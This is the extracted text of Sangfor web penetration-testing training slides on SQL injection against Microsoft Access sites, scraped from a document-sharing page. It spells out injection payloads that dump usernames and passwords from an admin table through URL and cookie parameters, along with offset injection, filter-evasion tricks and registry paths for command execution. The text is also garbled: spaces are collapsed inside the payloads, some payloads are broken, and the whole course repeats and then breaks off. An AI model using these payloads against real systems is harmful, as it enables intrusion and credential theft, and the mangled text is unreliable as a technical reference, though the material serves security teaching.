深信服应用层安全培训-Web渗透测试系列-X-A课件_第1页
深信服应用层安全培训-Web渗透测试系列-X-A课件_第2页
深信服应用层安全培训-Web渗透测试系列-X-A课件_第3页
深信服应用层安全培训-Web渗透测试系列-X-A课件_第4页
深信服应用层安全培训-Web渗透测试系列-X-A课件_第5页
已阅读5页,还剩149页未读 继续免费阅读

下载本文档

版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领

文档简介

Web渗透测试系列_X_access注入Web渗透测试系列_X_access注入整体框架探测阶段执行阶段注入变形测试工具总结培训提纲整体框架培训提纲整体框架整体框架概述Access注入主要分成两个阶段:注入探测阶段:寻找、探测注入点、探测数据库类型,为以后发起攻击做好准备。注入执行阶段:包括跨库查询、暴数据、注入导入功能、执行系统命令,根据注入探测阶段探测到的信息,选择具体方法发起攻击。概述Access注入主要分成两个阶段:Access注入框架图Access注入框架图探测阶段探测阶段简介寻找注入点:该阶段即寻找所有有可能存在注入漏洞的注入点,该阶段是渗透测试第一步也是最关键一步。

注入漏洞探测:该阶段即利用常见注入漏洞检测方法对寻找注入点阶段寻找的注入点进行探测,并确定是否存在注入点。数据库类型探测:该阶段即确定目标数据库类型,为下一步攻击做好准备。简介寻找注入点:该阶段即寻找所有有可能存在注入漏洞的注入点,寻找注入点url参数Post数据项隐藏参数固定参数Cookiehttp消息头寻找注入点url参数寻找注入点url参数url参数注入是最为常见的注入点,可以通过构造具有攻击意义的值赋值给url参数,来实现注入漏洞的探测,具体如下图红框处。寻找注入点url参数寻找注入点Post数据项这类注入点一般是注册、修改等页面,以post表单的形式提交给服务器。可以通过构造具有攻击意义的表单内容,来实现注入漏洞的探测,具体如下图红圈处。寻找注入点Post数据项寻找注入点隐藏参数隐藏参数即不会再页面显示,但会伴随用户提交的内容一起提交给服务器,它的获取一般需要借助代理工具,以下通过对比原始页面图与抓包图讲解隐藏参数。原始页面可见参数为url参数id、post表单参数aa、bb,如下图寻找注入点隐藏参数寻找注入点隐藏参数抓包图中红色圈部分submit、id为两个隐藏参数,下图红圈处。寻找注入点隐藏参数寻找注入点固定参数此类注入点在页面上是以固定选项出现的,如下拉菜单、可选项等,这些参数在页面上不可修改,一般需要借助代理工具进行修改,以下通过对比原始页面图与抓包图讲解隐藏参数。原始固定参数如下图红圈内,具体如下。寻找注入点固定参数寻找注入点固定参数抓包页面固定参数如下图红圈内,具体如下。寻找注入点固定参数寻找注入点cookie有些服务器端能够像接收url、post参数那样从cookie获取需要的参数,如果服务器不做过滤,就存在cookie注入,例如下图中红框中id通过cookie传到服务器端:寻找注入点cookie寻找注入点http消息头http消息头注入点寻找需要借助代理工具,具体如下图红圈内:寻找注入点http消息头注入漏洞探测经典方法单引号使用算数组合使用连字符Cookie注入探测注入漏洞探测经典方法注入漏洞探测经典方法分别在探测输入点输入and1=1和and1=2,然后判断两次输入返回界面异同,不同则存在注入漏洞。输入:and1=1,如下图注入漏洞探测经典方法注入漏洞探测经典方法输入:and1=2,两次输入页面返回不同,因此可以判断存在注入漏洞,如下图注入漏洞探测经典方法注入漏洞探测单引号由于单引号经常作为语句闭合符号,如果输入单引号,内部程序不过滤,就可能能够造成语法错误,如果系统不做容错处理,会返回详细错误信息,则说明可能存在通用注入漏洞,如果有容错处理,可能返回通用错误页面、重定向到指定页面等多种情况,这里以系统不做容错处理为例,具体如下:注入漏洞探测单引号注入漏洞探测使用算数组合当参数是数字类型时,可以使用使用算数运算符,诸如+、-、*、/等,如下图与id=39页面返回结果一样,因此存在漏洞,具体如下:注入漏洞探测使用算数组合注入漏洞探测使用连字符如果探测参数类型为字符类型,可以使用连字符%2B、%26,分别使用连字符连接一个空格和一个随意字符,两次页面返回不同则存在漏洞,具体如下:输入:

user=hudong'%2B',页面返回如下注入漏洞探测使用连字符注入漏洞探测使用连字符输入:

user=hudong‘%2B’asdf,两次页面不同,因此存在诸如漏洞,具体如下:注入漏洞探测使用连字符注入漏洞探测Cookie注入探测Cookie注入探测与通过url、post表项原理是一样的,只不过方法不一样,这里的cookie探测漏洞使用经典方法,使用单引号、算数组合以及使用%2B方法类似,接下来分别修改cookie参数里面包含and1=1、and1=2,具体如下。注入漏洞探测Cookie注入探测注入漏洞探测Cookie注入探测输入javascript:alert(document.cookie=“id=”+escape(“39and1=1”)),页面返回如下:注入漏洞探测Cookie注入探测注入漏洞探测Cookie注入探测紧接着在浏览器输入7/modify.asp?,页面返回如下:注入漏洞探测Cookie注入探测注入漏洞探测Cookie注入探测再次在浏览器中输入javascript:alert(document.cookie=“id=”+escape(“39and1=2”)),页面返回如下:注入漏洞探测Cookie注入探测注入漏洞探测Cookie注入探测紧接着在浏览器输入7/modify.asp?,可见两次页面返回不同,因此存在漏洞,具体如下:注入漏洞探测Cookie注入探测数据库类型探测Access数据库每个版本都有MSysObjects数据表,因此可以判断MSysObjects的有无来判断是否为Access数据库。如果系统不做容错处理,会返回详细错误信息,则比较容易确定是否为Access数据库,如果有容错处理,可能返回通用错误页面、重定向到指定页面等多种情况,这种情况比较复杂,以下分别介绍。数据库类型探测Access数据库每个版本都有MSysObje数据库类型探测系统没有容错情况输入:andexists(select*fromMSysObjects),返回结果显示MSysObjects没有读取权限,因此可以判断后台为Access数据库返回页面如下:数据库类型探测系统没有容错情况数据库类型探测系统有容错情况系统有容错情况,判断比较复杂,则只能使用排除法排除掉是其它数据库的可能性,依次来确定后台是否为Access数据库。数据库类型探测系统有容错情况执行阶段执行阶段简介Access注入-暴数据Access注入-跨库查询Access注入-注入导入功能Access注入-执行系统命令简介Access注入-暴数据Access注入-暴数据猜解表名猜解列名猜解记录总数猜解记录长度猜解记录值Access注入-暴数据猜解表名猜解表名暴力破解法由于Access数据库的系统表访问需要管理员权限,因此只能借助暴力破解。使用语句andexists(select*from[表名])猜测表名,不停地更换表名,直到返回的html页面与正常页面一样,则表存在。例如输入:id=39andexists(select*from[admin])。猜解表名暴力破解法猜解列名暴力破解法与猜测表名类似,完成猜解表名后,使用语句andexists(select[列名]from[表名])猜测列名,不停地更换列名,直到返回的html页面与正常页面一样,则列名在,例如输入:id=39andexists(selectidfrom[admin])。猜解列名暴力破解法猜解列名Having1=1在Access数据库里,也支持having和groupby语句,根据后台查询语句不同分为两种情况具体如下。猜解列名Having1=1猜解列名Having1=1第一种情况,如果站点的sql查询语句查询的是特定列名的数据,诸如selectid,name,addressfromadmin,可以暴出目标表所有列。例如输入:id=39groupby1having1=1,暴出第一个列名id,具体如下:猜解列名Having1=1猜解列名Having1=1爆出id列名,继续输入:id=39groupby1,idhaving1=1,暴出第二列名,具体如下:-逐渐把暴出的列名添加到groupby后面,例如继续输入:id=39groupby1,id,aahaving1=1,可以暴出aa下一列列名,依次类推暴出所有列名值。猜解列名Having1=1猜解列名Having1=1第二种情况,如果站点的sql查询语句查询的是没用特定列名的数据,诸如select*fromproductwhereid=“&ID&”,此情况只能爆出第一个列名,同时having后面必须跟诸如sum、avg等合计函数。例如输入:id=49havingsum(1)=1,页面返回如下:猜解列名Having1=1猜解记录总数暴力破解法使用语句and(selectcount(1)from表名where1=1)<整数,猜解表记录总数,不断缩小整数大小,直到等于某一整数,猜解出表记录数。例如输入:id=39and(selectcount(1)from[admin]where1=1)<10猜解记录总数暴力破解法猜解记录长度暴力破解法使用语句and(selecttop1len(cstr(列名))from(selecttop1*from表名where1=1orderby列名)Torderby列名desc)<整数,猜解记录长度,其中len()求字节长度,cstr()转换数据为字符串。因为“top1”的意思是把最靠前的1条记录给提取出来,所以如果要猜解第二条记录就该使用selecttop1len(列名)from表名where列名notin(selecttop1列名from表名),依次类推可以猜测出所有记录字段的长度。例如输入:id=39and(selecttop1len(cstr(id))from(selecttop1*fromadminwhere1=1orderbyid)Torderbyiddesc)<10猜解记录长度暴力破解法猜解记录值暴力破解法使用语句and(selecttop1asc(mid(cstr(列名),1,1))from(selecttop1*from表名where1=1orderby列名)Torderby列名desc)between整数1and整数2,猜解表记录字段值,asc(),mid()都是Access函数。例如输入:id=39andand(selecttop1asc(mid(cstr(id),1,1))from(selecttop1[id]fromadminwhere1=1orderby[id])Torderbyiddesc)between30and130猜解记录值暴力破解法猜解记录值Unionselect法使用unionselect语句猜解记录列名的值,有两个前提条件,分别是找到一个可注入点和目标表名。假如http://7/modify.asp?id=39存在漏洞,则id=39为一个可注入点。要探测的目标表为admin。接下来将介绍使用unionselect猜解记录值的流程如下。猜解记录值Unionselect法猜解记录值探测列数首先使用orderbynumber探测列数,不停地修改number列名的值直到页面返回错误页面为止。输入:id=39orderby1,页面返回如下图。猜解记录值探测列数猜解记录值探测列数不断增加number值,当输入id=39orderby9,页面返回出错,所以这时可以判断7/modify.asp?id=39接的数据库列数为8,具体如下图。猜解记录值探测列数猜解记录值探测暴出数据内容的位置输入:id=39unionselect1,2,3,4,5,6,7,8fromadmin,此时会发现页面上显示出了数字,比如2、3这些数字,这些数字的地方就是待会爆出数据内容的位置,具体如下。猜解记录值探测暴出数据内容的位置猜解记录值暴出记录值输入:id=39unionselect1,name,passwd,4,5,6,7,8fromadmin,返回页面默认的暴出的是数据库最后一个列名值,具体如下图。猜解记录值暴出记录值猜解记录值暴出记录值输入:id=39and1=2unionselecttop11,name,passwd,4,5,6,7,8fromadmin暴出第一个记录列名值。输入:id=39and1=2unionselecttop11,name,passwd,4,5,6,7,8fromadminwherenamenotin(selecttop1namefromadmin)暴出第二个记录列名的值,类似依次暴出所有列名的值。猜解记录值暴出记录值猜解记录值偏移注入法使用unionselect查询目标数据库列名内容的时候,有时候返回到页面的内容不是自己想要的内容,这个时候Access偏移注入就派上很好的用场了,使用Access偏移注入能够打乱目标数据库的查询结果,不停地偏移可以使得页面返回自己想要的结果。Access偏移前提是知道目标表名和一个列名。以目标网址http://7/modify.asp?id=39为例,本例中目标表名为admin、一个列名为name,具体流程如下。猜解记录值偏移注入法猜解记录值获取目标列数目使用orderby容易得出目标网址连接表的列数为8。输入:id=39and1=2unionselect1,*fromadmin,页面返回如下图。猜解记录值获取目标列数目猜解记录值获取目标列数目逐渐增加unionselect后面的列数,当输入:id=39and1=2unionselect1,2,3,4,5,*fromadmin的时候,可以得出admin的列名数为8-5=3个,具体如下图。猜解记录值获取目标列数目猜解记录值目标自联自联有一个重要的条件就是目标表(比如例子admin)的列数*2<orderby出的列数,例子admin表列名为3,3*2<8,因此符合条件。Admin表3个列名,自联后是6个列名,然后随便加2个列名变成8个列名,构造和7/modify.asp?id=39连接数据库表列名数目一样。猜解记录值目标自联猜解记录值目标自联输入:id=39and1=2unionselect1,2,*from(adminasainnerjoinadminasbon=),从返回页面看没有返回有用信息,具体如下图。猜解记录值目标自联猜解记录值目标自联那么再次输入:id=39and1=2unionselect1,2,,,*from(adminasainnerjoinadminasbon=),返回结果看仅仅返回了用户名,具体如下。猜解记录值目标自联猜解记录值目标自联那么更改列名值顺序输入:id=39and1=2unionselect1,,,3,*from(adminasainnerjoinadminasbon=),从返回界面可以暴出了目标表admin表的用户名与密码值,具体如下。猜解记录值目标自联猜解记录值Cookie注入猜解法利用Cookie注入猜解记录值与使用url参数、post参数猜解记录值原理一样,用也unionselect语句。以目标网址http://7/modify.asp?id=39为例,假如已经知道目标表名为admin,表的2个列名分别为name、passwd,具体流程如下。猜解记录值Cookie注入猜解法猜解记录值Cookie注入猜解法在浏览器输入:javascript:alert(document.cookie=“id=”+escape(“39and1=2unionselect1,name,passwdfromadmin”)),页面如:猜解记录值Cookie注入猜解法猜解记录值Cookie注入猜解法紧接着在浏览器输入:7/modify.asp?,返回的页面中暴出了数据库中字段值,具体如下:猜解记录值Cookie注入猜解法Access注入-跨库查询跨库查询简介有时候某个网站服务器上有两个以上网站,你发现其中一个有Access注入点,但是后台没法提权,另外一个网站没有注入点,但是后台却有你需要的功能。那么这个时候,跨库是不错的选择。跨库需要两个条件,分别是前一个注入点连接表的列数、目标数据库的绝对路径。第一个条件可以使用orderbynumber轻松获得,第二个条件一般借助Access暴库获得。跨库查询条件苛刻,且现在access能够暴库的很少,故这里不做详细叙述。Access注入-跨库查询跨库查询简介Access注入-注入导入功能注入导入功能简介假如能够把Access数据库里的表方便的导入指定位置文件(例如txt、htm、html等,这里以txt为例)里,理论上只要知道表名,不需要知道段名,就可以看到该表所有内容了,较暴力破解速度也会大有提高。Access注入-注入导入功能注入导入功能简介Access注入-注入导入功能注入导入功能简介输入:id=39and1=2unionselect1,name,passwd,4,5,6,7,8INTO[TEXT;DATABASE=C:\test1].test.txtfromadmin,返回页面显示子查询回显没有权限,页面返回出错信息提示,“动作查询不能作为行的来源“,这个难点目前还没有很好的解决,具体如下:Access注入-注入导入功能注入导入功能简介Access注入-执行系统命令执行系统命令简介:执行系统命令需要开启SandBoxMode开关。在win7系统中,它的注册表为位置在HKEY_LOCAL_MACHINE\SoftWare\Microsoft\office\14.0\AccessConnectivityEngine\Engines\SandBoxMode在windows2003中,它的注册表位置在HKEY_LOCAL_MACHINE\SoftWare\Microsoft\Jet\4.0\Engine\SandBoxMode执行系统命令三个必备条件,首先必须有修改注册表的权限,其次是有修改注册表的条件,最后是可以执行SandboxMode的环境,条件要求苛刻,因此这里仅做简单叙述。Access注入-执行系统命令执行系统命令简介:Access注入-执行系统命令执行系统命令简介:常见系统函数包括curdir()、dir()、environ()、filedatetime()、filelen()、getattr()、shell()等。本例以函数curdir()为例,该函数可以查询当前的路径,其它函数的使用可以查阅相关文档。Access注入-执行系统命令执行系统命令简介:Access注入-执行系统命令执行系统命令简介:输入:id=39and1=2unionselect1,curdir(),3,4,5,6,7,8frommsysAccessobjects,页面如图红框处。Access注入-执行系统命令执行系统命令简介:注入变形注入变形常见攻击变形技术使用大小写变种如果过滤器过滤不全面,可以通过变换攻击字符串中字符的大小写来避开它,因为数据库使用不区分大小写方式处理sql关键字。常见攻击变形技术使用大小写变种常见攻击变形技术使用编码技术编码是一种多功能技术,它可以避开多种类型的输入过滤器。常见的编码技术包括url编码、Base64编码、UTF-8、UTF-7、unicode标准和非标准编码、实体编码等。常见攻击变形技术使用编码技术常见攻击变形技术使用空白符可以在关键字之间插入多个空白符(空白符包括空格、回车、换行、tab键等)进行逃逸,例如在unionselect之间插入多个空格,这种逃逸有时候能够逃逸过某些没有过滤特定空白符的过滤器。常见攻击变形技术使用空白符常见攻击变形技术使用空字节空字节之所以能够起作用,是因为原生代码与托管代码分别采用不同的方法来处理空字节,这种差异意味着原生过滤器在处理输入的时候,如果遇到空字节它便会停止处理,因为过滤器看来空字节代表字符串的结束,不过在托管代码中,应用在处理相同输入的时候,会将跟在空字节后面的输入一同处理以便执行利用。常见攻击变形技术使用空字节测试工具测试工具常用工具介绍

完全自动化工具半自动化工具常用工具介绍

完全自动化工具完全自动化工具完全自动化工具介绍完全自动化工具多基于图形化界面,简单实用,易上手,操作简单,对于Access数据库,它或者利用http头中的content-length的不同、或者利用返回的HTTP500错误信息、或者根据页面返回信息是否包含keyword来探测是否有漏洞,然后借助暴力破解暴数据常见的完全自动化工具有Domain、HDSI、NBSI、DSQLTools、Pangolin、Havij,完全自动化工具推荐使用Havij。完全自动化工具完全自动化工具介绍半自动化工具半自动化工具介绍半自动化工工具不仅能够利用其提供的工具库实现完全自动化工具的功能,而且攻击者还可以根据需要灵活构造攻击特征,有些工具还提供了大量逃逸waf的脚本

。常用的半自动工具有Burpsuite、Sqlmap,半自动化工具推荐Burpsuite。半自动化工具半自动化工具介绍总结总结总结

总结了access注入整体流程。整理了攻击相关变形。收集了access注入相关工具。总结

总结了access注入整体流程。深信服应用层安全培训-Web渗透测试系列-X-A课件Web渗透测试系列_X_access注入Web渗透测试系列_X_access注入整体框架探测阶段执行阶段注入变形测试工具总结培训提纲整体框架培训提纲整体框架整体框架概述Access注入主要分成两个阶段:注入探测阶段:寻找、探测注入点、探测数据库类型,为以后发起攻击做好准备。注入执行阶段:包括跨库查询、暴数据、注入导入功能、执行系统命令,根据注入探测阶段探测到的信息,选择具体方法发起攻击。概述Access注入主要分成两个阶段:Access注入框架图Access注入框架图探测阶段探测阶段简介寻找注入点:该阶段即寻找所有有可能存在注入漏洞的注入点,该阶段是渗透测试第一步也是最关键一步。

注入漏洞探测:该阶段即利用常见注入漏洞检测方法对寻找注入点阶段寻找的注入点进行探测,并确定是否存在注入点。数据库类型探测:该阶段即确定目标数据库类型,为下一步攻击做好准备。简介寻找注入点:该阶段即寻找所有有可能存在注入漏洞的注入点,寻找注入点url参数Post数据项隐藏参数固定参数Cookiehttp消息头寻找注入点url参数寻找注入点url参数url参数注入是最为常见的注入点,可以通过构造具有攻击意义的值赋值给url参数,来实现注入漏洞的探测,具体如下图红框处。寻找注入点url参数寻找注入点Post数据项这类注入点一般是注册、修改等页面,以post表单的形式提交给服务器。可以通过构造具有攻击意义的表单内容,来实现注入漏洞的探测,具体如下图红圈处。寻找注入点Post数据项寻找注入点隐藏参数隐藏参数即不会再页面显示,但会伴随用户提交的内容一起提交给服务器,它的获取一般需要借助代理工具,以下通过对比原始页面图与抓包图讲解隐藏参数。原始页面可见参数为url参数id、post表单参数aa、bb,如下图寻找注入点隐藏参数寻找注入点隐藏参数抓包图中红色圈部分submit、id为两个隐藏参数,下图红圈处。寻找注入点隐藏参数寻找注入点固定参数此类注入点在页面上是以固定选项出现的,如下拉菜单、可选项等,这些参数在页面上不可修改,一般需要借助代理工具进行修改,以下通过对比原始页面图与抓包图讲解隐藏参数。原始固定参数如下图红圈内,具体如下。寻找注入点固定参数寻找注入点固定参数抓包页面固定参数如下图红圈内,具体如下。寻找注入点固定参数寻找注入点cookie有些服务器端能够像接收url、post参数那样从cookie获取需要的参数,如果服务器不做过滤,就存在cookie注入,例如下图中红框中id通过cookie传到服务器端:寻找注入点cookie寻找注入点http消息头http消息头注入点寻找需要借助代理工具,具体如下图红圈内:寻找注入点http消息头注入漏洞探测经典方法单引号使用算数组合使用连字符Cookie注入探测注入漏洞探测经典方法注入漏洞探测经典方法分别在探测输入点输入and1=1和and1=2,然后判断两次输入返回界面异同,不同则存在注入漏洞。输入:and1=1,如下图注入漏洞探测经典方法注入漏洞探测经典方法输入:and1=2,两次输入页面返回不同,因此可以判断存在注入漏洞,如下图注入漏洞探测经典方法注入漏洞探测单引号由于单引号经常作为语句闭合符号,如果输入单引号,内部程序不过滤,就可能能够造成语法错误,如果系统不做容错处理,会返回详细错误信息,则说明可能存在通用注入漏洞,如果有容错处理,可能返回通用错误页面、重定向到指定页面等多种情况,这里以系统不做容错处理为例,具体如下:注入漏洞探测单引号注入漏洞探测使用算数组合当参数是数字类型时,可以使用使用算数运算符,诸如+、-、*、/等,如下图与id=39页面返回结果一样,因此存在漏洞,具体如下:注入漏洞探测使用算数组合注入漏洞探测使用连字符如果探测参数类型为字符类型,可以使用连字符%2B、%26,分别使用连字符连接一个空格和一个随意字符,两次页面返回不同则存在漏洞,具体如下:输入:

user=hudong'%2B',页面返回如下注入漏洞探测使用连字符注入漏洞探测使用连字符输入:

user=hudong‘%2B’asdf,两次页面不同,因此存在诸如漏洞,具体如下:注入漏洞探测使用连字符注入漏洞探测Cookie注入探测Cookie注入探测与通过url、post表项原理是一样的,只不过方法不一样,这里的cookie探测漏洞使用经典方法,使用单引号、算数组合以及使用%2B方法类似,接下来分别修改cookie参数里面包含and1=1、and1=2,具体如下。注入漏洞探测Cookie注入探测注入漏洞探测Cookie注入探测输入javascript:alert(document.cookie=“id=”+escape(“39and1=1”)),页面返回如下:注入漏洞探测Cookie注入探测注入漏洞探测Cookie注入探测紧接着在浏览器输入7/modify.asp?,页面返回如下:注入漏洞探测Cookie注入探测注入漏洞探测Cookie注入探测再次在浏览器中输入javascript:alert(document.cookie=“id=”+escape(“39and1=2”)),页面返回如下:注入漏洞探测Cookie注入探测注入漏洞探测Cookie注入探测紧接着在浏览器输入7/modify.asp?,可见两次页面返回不同,因此存在漏洞,具体如下:注入漏洞探测Cookie注入探测数据库类型探测Access数据库每个版本都有MSysObjects数据表,因此可以判断MSysObjects的有无来判断是否为Access数据库。如果系统不做容错处理,会返回详细错误信息,则比较容易确定是否为Access数据库,如果有容错处理,可能返回通用错误页面、重定向到指定页面等多种情况,这种情况比较复杂,以下分别介绍。数据库类型探测Access数据库每个版本都有MSysObje数据库类型探测系统没有容错情况输入:andexists(select*fromMSysObjects),返回结果显示MSysObjects没有读取权限,因此可以判断后台为Access数据库返回页面如下:数据库类型探测系统没有容错情况数据库类型探测系统有容错情况系统有容错情况,判断比较复杂,则只能使用排除法排除掉是其它数据库的可能性,依次来确定后台是否为Access数据库。数据库类型探测系统有容错情况执行阶段执行阶段简介Access注入-暴数据Access注入-跨库查询Access注入-注入导入功能Access注入-执行系统命令简介Access注入-暴数据Access注入-暴数据猜解表名猜解列名猜解记录总数猜解记录长度猜解记录值Access注入-暴数据猜解表名猜解表名暴力破解法由于Access数据库的系统表访问需要管理员权限,因此只能借助暴力破解。使用语句andexists(select*from[表名])猜测表名,不停地更换表名,直到返回的html页面与正常页面一样,则表存在。例如输入:id=39andexists(select*from[admin])。猜解表名暴力破解法猜解列名暴力破解法与猜测表名类似,完成猜解表名后,使用语句andexists(select[列名]from[表名])猜测列名,不停地更换列名,直到返回的html页面与正常页面一样,则列名在,例如输入:id=39andexists(selectidfrom[admin])。猜解列名暴力破解法猜解列名Having1=1在Access数据库里,也支持having和groupby语句,根据后台查询语句不同分为两种情况具体如下。猜解列名Having1=1猜解列名Having1=1第一种情况,如果站点的sql查询语句查询的是特定列名的数据,诸如selectid,name,addressfromadmin,可以暴出目标表所有列。例如输入:id=39groupby1having1=1,暴出第一个列名id,具体如下:猜解列名Having1=1猜解列名Having1=1爆出id列名,继续输入:id=39groupby1,idhaving1=1,暴出第二列名,具体如下:-逐渐把暴出的列名添加到groupby后面,例如继续输入:id=39groupby1,id,aahaving1=1,可以暴出aa下一列列名,依次类推暴出所有列名值。猜解列名Having1=1猜解列名Having1=1第二种情况,如果站点的sql查询语句查询的是没用特定列名的数据,诸如select*fromproductwhereid=“&ID&”,此情况只能爆出第一个列名,同时having后面必须跟诸如sum、avg等合计函数。例如输入:id=49havingsum(1)=1,页面返回如下:猜解列名Having1=1猜解记录总数暴力破解法使用语句and(selectcount(1)from表名where1=1)<整数,猜解表记录总数,不断缩小整数大小,直到等于某一整数,猜解出表记录数。例如输入:id=39and(selectcount(1)from[admin]where1=1)<10猜解记录总数暴力破解法猜解记录长度暴力破解法使用语句and(selecttop1len(cstr(列名))from(selecttop1*from表名where1=1orderby列名)Torderby列名desc)<整数,猜解记录长度,其中len()求字节长度,cstr()转换数据为字符串。因为“top1”的意思是把最靠前的1条记录给提取出来,所以如果要猜解第二条记录就该使用selecttop1len(列名)from表名where列名notin(selecttop1列名from表名),依次类推可以猜测出所有记录字段的长度。例如输入:id=39and(selecttop1len(cstr(id))from(selecttop1*fromadminwhere1=1orderbyid)Torderbyiddesc)<10猜解记录长度暴力破解法猜解记录值暴力破解法使用语句and(selecttop1asc(mid(cstr(列名),1,1))from(selecttop1*from表名where1=1orderby列名)Torderby列名desc)between整数1and整数2,猜解表记录字段值,asc(),mid()都是Access函数。例如输入:id=39andand(selecttop1asc(mid(cstr(id),1,1))from(selecttop1[id]fromadminwhere1=1orderby[id])Torderbyiddesc)between30and130猜解记录值暴力破解法猜解记录值Unionselect法使用unionselect语句猜解记录列名的值,有两个前提条件,分别是找到一个可注入点和目标表名。假如http://7/modify.asp?id=39存在漏洞,则id=39为一个可注入点。要探测的目标表为admin。接下来将介绍使用unionselect猜解记录值的流程如下。猜解记录值Unionselect法猜解记录值探测列数首先使用orderbynumber探测列数,不停地修改number列名的值直到页面返回错误页面为止。输入:id=39orderby1,页面返回如下图。猜解记录值探测列数猜解记录值探测列数不断增加number值,当输入id=39orderby9,页面返回出错,所以这时可以判断7/modify.asp?id=39接的数据库列数为8,具体如下图。猜解记录值探测列数猜解记录值探测暴出数据内容的位置输入:id=39unionselect1,2,3,4,5,6,7,8fromadmin,此时会发现页面上显示出了数字,比如2、3这些数字,这些数字的地方就是待会爆出数据内容的位置,具体如下。猜解记录值探测暴出数据内容的位置猜解记录值暴出记录值输入:id=39unionselect1,name,passwd,4,5,6,7,8fromadmin,返回页面默认的暴出的是数据库最后一个列名值,具体如下图。猜解记录值暴出记录值猜解记录值暴出记录值输入:id=39and1=2unionselecttop11,name,passwd,4,5,6,7,8fromadmin暴出第一个记录列名值。输入:id=39and1=2unionselecttop11,name,passwd,4,5,6,7,8fromadminwherenamenotin(selecttop1namefromadmin)暴出第二个记录列名的值,类似依次暴出所有列名的值。猜解记录值暴出记录值猜解记录值偏移注入法使用unionselect查询目标数据库列名内容的时候,有时候返回到页面的内容不是自己想要的内容,这个时候Access偏移注入就派上很好的用场了,使用Access偏移注入能够打乱目标数据库的查询结果,不停地偏移可以使得页面返回自己想要的结果。Access偏移前提是知道目标表名和一个列名。以目标网址http://7/modify.asp?id=39为例,本例中目标表名为admin、一个列名为name,具体流程如下。猜解记录值偏移注入法猜解记录值获取目标列数目使用orderby容易得出目标网址连接表的列数为8。输入:id=39and1=2unionselect1,*fromadmin,页面返回如下图。猜解记录值获取目标列数目猜解记录值获取目标列数目逐渐增加unionselect后面的列数,当输入:id=39and1=2unionselect1,2,3,4,5,*fromadmin的时候,可以得出admin的列名数为8-5=3个,具体如下图。猜解记录值获取目标列数目猜解记录值目标自联自联有一个重要的条件就是目标表(比如例子admin)的列数*2<orderby出的列数,例子admin表列名为3,3*2<8,因此符合条件。Admin表3个列名,自联后是6个列名,然后随便加2个列名变成8个列名,构造和7/modify.asp?id=39连接数据库表列名数目一样。猜解记录值目标自联猜解记录值目标自联输入:id=39and1=2unionselect1,2,*from(adminasainnerjoinadminasbon=),从返回页面看没有返回有用信息,具体如下图。猜解记录值目标自联猜解记录值目标自联那么再次输入:id=39and1=2unionselect1,2,,,*from(adminasainnerjoinadminasbon=),返回结果看仅仅返回了用户名,具体如下。猜解记录值目标自联猜解记录值目标自联那么更改列名值顺序输入:id=39and1=2unionselect1,,,3,*from(adminasainnerjoinadminasbon=),从返回界面可以暴出了目标表admin表的用户名与密码值,具体如下。猜解记录值目标自联猜解记录值Cookie注入猜解法利用Cookie注入猜解记录值与使用url参数、post参数猜解记录值原理一样,用也unionselect语句。以目标网址http://7/modify.asp?id=39为例,假如已经知道目标表名为admin,表的2个列名分别为name、passwd,具体流程如下。猜解记录值Cookie注入猜解法猜解记录值Cookie注入猜解法在浏览器输入:javascript:alert(document.cookie=“id=”+escape(“39and1=2unionselect1,name,passwdfromadmin”)),页面如:猜解记录值Cookie注入猜解法猜解记录值Cookie注入猜解法紧接着在浏览器输入:7/modify.asp?,返回的页面中暴出了数据库中字段值,具体如下:猜解记录值Cookie注入猜解法Access注入-跨库查询跨库查询简介有时候某个网站服务器上有两个以上网站,你发现其中一个有Access注入点,但是后台没法提权,另外一个网站没有注入点,但是后台却有你需要的功能。那么这个时候,跨库是不错的选择。跨库需要两个条件,分别是前一个注入点连接表的列数、目标数据库的绝对路径。第一个条件可以使用orderbynumber轻松获得,第二个条件一般借助Access暴库获得。跨库查询条件苛刻,且现在access能够暴库的很少,故这里不做详细叙述。Access注入-跨库查询跨库查询简介Access注入-注入导入功能注入导入功能简介假如能够把Access数据库里的表方便的导入指定位置文件(例如txt、htm、html等,这里以txt为例)里,理论上只要知道表名,不需要知道段名,就可以看到该表所有内容了,较暴力破解速度也会大有提高。Access注入-注入导入功能注入导入功能简介Access注入-注入导入功能注入导入功能简介输入:id=39and1=2unionselect1,name,passwd,4,5,6,7,8

温馨提示

  • 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
  • 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
  • 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
  • 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
  • 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
  • 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
  • 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。

评论

0/150

提交评论